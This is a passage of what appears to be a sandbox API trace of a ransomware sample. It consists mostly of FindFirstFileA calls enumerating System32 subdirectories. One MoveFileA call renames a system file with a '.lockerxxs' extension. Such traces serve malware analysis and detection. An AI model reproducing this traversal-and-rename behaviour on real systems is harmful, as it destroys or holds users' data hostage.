lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\Microsoft-Windows-TerminalServices-AppServer-Licensing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.226] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\Microsoft-Windows-TerminalServices-LicenseServer\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.233] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\Usb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.236] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\migwiz\\replacementmanifests\\WindowsSearchEngine\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80fbfcad, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80fbfcad, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.261] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Msdtc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x10e70c0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x10e70c0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.263] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Msdtc\\Trace\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2e0f9a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2e0f9a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.277] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\MUI\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.278] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\MUI\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8bd440d7, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.281] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\MUI\\dispspec\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.285] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\nb-NO\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.292] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\NDF\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9e09ea07, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.296] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\NetworkList\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x110d21a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.297] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\NetworkList\\Icons\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x110d21a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.298] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\NetworkList\\Icons\\StockIcons\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d624de, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d624de, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.306] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\nl-NL\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.325] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\NOISE.DAT" (normalized: "c:\\windows\\system32\\noise.dat"), lpNewFileName="C:\\Windows\\System32\\NOISE.DAT.lockerxxs" (normalized: "c:\\windows\\system32\\noise.dat.lockerxxs")) returned 1 [0151.332] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\oobe\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.335] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\oobe\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.358] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\pl-PL\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3eb9108, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3eb9108, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.365] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Printing_Admin_Scripts\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.366] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.374] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\pt-BR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f053bc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f053bc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.381] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\pt-PT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.390] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ras\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.395] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Recovery\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f777ca, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f777ca, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.398] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\restore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.401] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ro-RO\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.408] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\ru-RU\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.419] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Setup\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.447] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Setup\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.451] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sk-SK\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.456] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sl-SI\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.462] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\slmgr\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.464] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\slmgr\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22572869, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.468] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.468] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\Common\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c279101, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c279101, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.469] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\Engines\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.470] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\Engines\\SR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.471] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\Engines\\SR\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.472] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\SpeechUX\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.473] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Speech\\SpeechUX\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b69551, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.474] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\spp\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11594ce, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11594ce, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.478] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\spp\\tokens\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.478] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\spp\\tokens\\channels\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.479] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\spp\\tokens\\channels\\OCUR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8c5bef47, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c5bef47, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.485] FindFirstFileA (in: 